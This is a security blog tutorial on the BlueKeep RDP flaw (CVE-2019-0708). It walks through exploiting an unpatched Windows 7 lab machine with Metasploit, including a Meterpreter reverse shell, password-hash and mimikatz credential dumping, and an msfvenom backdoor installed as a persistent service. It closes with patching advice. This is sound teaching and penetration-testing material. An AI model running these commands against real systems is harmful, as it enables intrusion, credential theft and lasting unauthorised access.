Attacking The BlueKeep

R-C-E, It’s Easy as R-D-P

On May 14, 2019, Microsoft published a security advisory regarding a critical remote code execution (RCE) vulnerability (CVE-2019-0708) affecting Remote Desktop Services (RDP) on older versions of Windows including XP, Vista, 7 and Server 2003/2008. Windows 8 and 10 are not affected. As noted by security researcher Kevin Beaumont (@GossiTheDog), exploitation of the vulnerability often leads to a blue screen of death (BSOD), hence the name “BlueKeep” — a play on the unsecure “Red Keep” from Game of Thrones.

It turns out that RDP on these older versions of Windows is susceptible to a use-after-free vulnerability, allowing an attacker to send malicious code on an internal-only RDP channel and gain remote administrative capabilities without needing a password or end-user interaction.

There simply needs to be an exposed RDP service running. Because of this, Microsoft warned that this is a highly wormable exploit, suggesting that it could be weaponized to easily spread rapidly across networks, not unlike the infamous WannaCry ransomware in May 2017. Microsoft deemed this vulnerability so serious that it issued patches for end-of-life products including Windows XP and Server 2003.

Risky Business

Notably, client versions of Windows do not enable RDP by default, but server versions of Windows do. That would include domain controllers, DNS servers, and other critical corporate infrastructure that typically run RDP for legitimate remote system administration.

Given this, Marcus Hutchins (@MalwareTechBlog), a security researcher famously known for slowing down the spread of WannaCry, stated that the real risk is not BlueKeep becoming a worm. Rather, he believes that the real threat is BlueKeep being used to compromise a Windows server, to then leverage standard automated tools to quickly distribute malware and additional attacks.

This isn’t to say that only Windows servers are at risk. From experience, Windows 7 systems can have RDP enabled for administration or troubleshooting purposes. Additionally, single-use machines such as point of sale systems frequently run Windows 7, and because they often need to be managed remotely, will have RDP enabled.

Based on data from Shodan, a search engine that scans the entire public internet for open ports and services, there are potentially millions of systems that expose RDP services to the internet. BlueKeep aside, this is poor security hygiene.

As is typical, the recommended remediation is to employ defense-in-depth, patch your systems immediately, and disable RDP on any systems where it is not required. Seemingly less exciting domains such as vulnerability and patch management, hardening systems, and network security monitoring will go a long way in stopping BlueKeep and any other attacks.

To be clear, patching is your best recourse to defend against BlueKeep attacks.

A Wild BlueKeep Has Appeared!

With the memory of WannaCry still fresh in the minds of IT and Security teams, there was a deep concern that we were in for round 2. Given this, Kevin Beaumont built a worldwide BlueKeep honeypot on May 26, 2019, shortly after Microsoft released the patches, to detect any instances of a large-scale worldwide attack. The entire thread is a great walkthrough of how to set up your own honeypot network at a very reasonable cost. I highly encourage you to read it in its entirety.

On Nov. 2, 2019, nearly six months later, and just before Kevin was considering closing down the project, he observed multiple BSOD events happening across his honeypots. He reached out to Marcus Hutchins to review the collected crash dump and determine what was happening. Marcus wrote a great blog post confirming that the BSODs were in fact a result of BlueKeep exploit attempts.

In the following sections, we’ll walkthrough setting up our own Metasploit demo to better understand how this vulnerability can be exploited.

Again, patch your systems. This is absolutely the best way to defend against BlueKeep and any other already-discovered vulnerabilities.

I Volunteer as a Tribute!

To start, we’ll need to set up our vulnerable Windows 7 system running Remote Desktop. To do this, set up a virtual machine running Windows 7 x64 and ensure it does not include the BlueKeep patches.

In my demo environment, I’ll be using Windows 7 Ultimate x64 running on VMware Fusion 11.5.1 hosted on macOS Mojave 10.15.2.

Next, enable remote access.

1. Click Start -> in the search bar, type remote access -> click on Allow remote access to your computer.
   
   
2. Select Allow connections from computers running any version of Remote Desktop (less secure) and then click OK.
   
   

Our machine is now BlueKeep-ready. Let’s set up our attacker system from which we’ll launch the BlueKeep exploit.

Going Back to Kali

For our attacker system, we’ll be using Metasploit running on the versatile Kali Linux distribution. As with our Windows 7 system, we’ll be running this as a virtual machine on VMware Fusion.

Once you’ve got Kali up and running, let’s get to it!

1. Open a terminal window and install any available updates.
   
   Command: apt update && apt -y full-upgrade
   
   
   You may need to restart for some updates to install completely.
2. Using the same terminal window, start the Metasploit console.
   
   Command: msfconsole
   
   
3. If this is your first time loading Metasploit, it may take a few minutes to start. Once it’s up, search for BlueKeep modules.
   
   Command: search bluekeep
   
   
   
4. There’s a check module and there’s an exploit module. We’ll use the exploit.
   
   Command: use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
   
   
   
5. We can learn more about the exploit module and view its available options.
   
   Command: info
   
   
6. View the available module options and their current settings.
   
   Command: show options
   
   
   Note that in the “Required” column, RDP_CLIENT_NAME, RDP_DOMAIN, and RDP_USER are listed as “no.” These are optional and we will not be configuring these as part of the demo. We will also not modify RDP_CLIENT_IP from its default value as this won’t matter for our purposes.
7. Set RHOSTS to the target host IP address.
   
   Command: set RHOSTS 10.0.1.15
   
   
8. Set the target system’s OS and architecture. This is critical as the exploit is highly dependent on the OS of the target machine. At the time of this writing, the automatic targeting option will not work.
   
   Command: show targets
   
   
   In this demo, I’m running VMware Fusion 11.5.1 on macOS Mojave 10.15.2. Note that while VMware is named in the list of targets, this is referring to the Windows version, not the macOS version. Given how prone it is to causing BSODs, selecting the correct target is crucial. Fortunately, if you’re running the same setup as I am, I’ve found that option 7 — Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – AWS) works great for Windows 7 running on VMware Fusion. If your setup is different from mine, you’ll want to select the appropriate target best suited for your environment.
   
   Command: set target 7
   
   
9. Let’s view the payloads compatible with this exploit.
   
   Command: show payloads
   
   
10. For this demo, we’ll use my favorite payload — the reverse Meterpreter x64 shell.
    
    Command: set payload windows/x64/meterpreter/reverse_tcp
    
    
    
11. View options to see the new options that are available for the payload.
    
    Command: show options
    
    
    
12. Set LHOST to your Kali machine’s IP address.
    
    Command: set LHOST 10.0.1.18
    
    
    
13. Review your configuration one more time to confirm that all options are set correctly.
    
    Command: show options
    
    
    
14. When you’re all set, launch the attack.
    
    Command: exploit
    
    
    Since this is a demo, we know that our victim machine has been pre-configured to be vulnerable to BlueKeep. However, if you were running this attack as part of an assessment or real penetration test, you can set RHOSTS to a network range and then run check. This will run the auxiliary/scanner/rdp/cve_2019_0708_bluekeep module to determine if your targets are in fact vulnerable.
15. If all went well, you should now have a Meterpreter session running with SYSTEM privileges. Congrats!
    
    Command: getuid
    
    

If this doesn’t work initially, either because the exploit fails or the target machine experiences a BSOD, you may need to restart the target machine or set a different target OS (step 7) and try again. As a reminder, the exploit code is not completely stable and may not always work. If at first you don’t succeed, try, try again.

Meterpreter Maleficence

You can perform a variety of malicious actions at this point. Commonly, attackers will steal credentials, launch malware and maintain persistence through a backdoor. We’ll skip the malware and walk through dumping credentials and installing a persistent Meterpreter backdoor.

Let’s start by stealing credentials from our target system.

1. Meterpreter has a built-in function to dump password hashes from the Windows SAM database.
   
   Command: hashdump
   
   
   These hashes can be downloaded and cracked offline or leveraged in pass-the-hash attacks to gain access to additional systems on the network.
2. The powerful mimikatz tool is integrated into Meterpreter. Running this allows us to view credentials in plaintext.
   
   Command: load kiwi
   
   
   
3. Once loaded, you will see a new set of options when you type help. One of my favorite things to do at this point is to dump any credentials mimikatz can find in plaintext.
   
   Command: creds_all
   
   
   Note under wdigest credentials we see the plaintext password SecretPassword123! for the username eric which is in fact the login password I configured for my test Windows 7 system.
   
   Try out the various commands to see what else you can discover.

Now let’s create a persistent Meterpreter backdoor.

1. Open a new terminal window tab and generate a backdoor payload by typing the command below. For reference, LHOST refers to the IP address of your Kali machine and LPORT refers to the machine’s port that will receive the incoming connection from the target system.
   
   Command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.1.18 LPORT=4444 -f exe -o /tmp/backdoor.exe
   
   
   
2. Switch back to the tab with the active Meterpreter session and run the following command. This will install our backdoor as a service and run it with SYSTEM privileges.
   
   Command: run post/windows/manage/persistence_exe REXEPATH=/tmp/backdoor.exe STARTUP=SERVICE
   
   
3. Once the persistent backdoor is installed, you can regain access at any time by configuring and running Metasploit’s exploit handler. First, close the running Meterpreter session.
   
   Command: exit
   
   
4. Next, run the following commands to set up Metasploit’s exploit handler.
   
   Commands:
   use exploit/multi/handler
   set payload windows/x64/meterpreter/reverse_tcp
   set LHOST 10.0.1.18
   set LPORT 4444
   
   
   Note that the LHOST and LPORT options must match what was used in Step 1 above.
5. When you’re ready, run the handler and it will start listening for incoming sessions.
   
   Command: exploit
   
   
   
6. Reboot the Windows 7 system and it should automatically reconnect to your listener.
   
   
7. Finally, let’s confirm that we still have SYSTEM privileges.
   
   Command: getuid
   
   
   Crushed it.

Defending The BlueKeep

We’ve now seen how easy it is to use Metasploit to exploit the BlueKeep vulnerability and fully compromise a system.  At the time of this writing, BlueKeep hasn’t reached the levels of doom and gloom that WannaCry reached, despite Microsoft’s and the information security community’s concerns. Some of this is due to the difficulty of executing the exploit consistently because it is so highly OS-dependent. However, as we’ve learned, there are active attacks occurring in the wild and given the scores of systems publicly accessible via RDP, the threat of a large scale attack remains very real. While the information security community often focuses and sensationalizes zero day vulnerabilities, nation state espionage, and large scale attacks, our time and energy would be infinitely better spent building mature vulnerability and patch management programs. Far less exciting, but much more effective at actually stopping a breach.

Did I mention you should patch?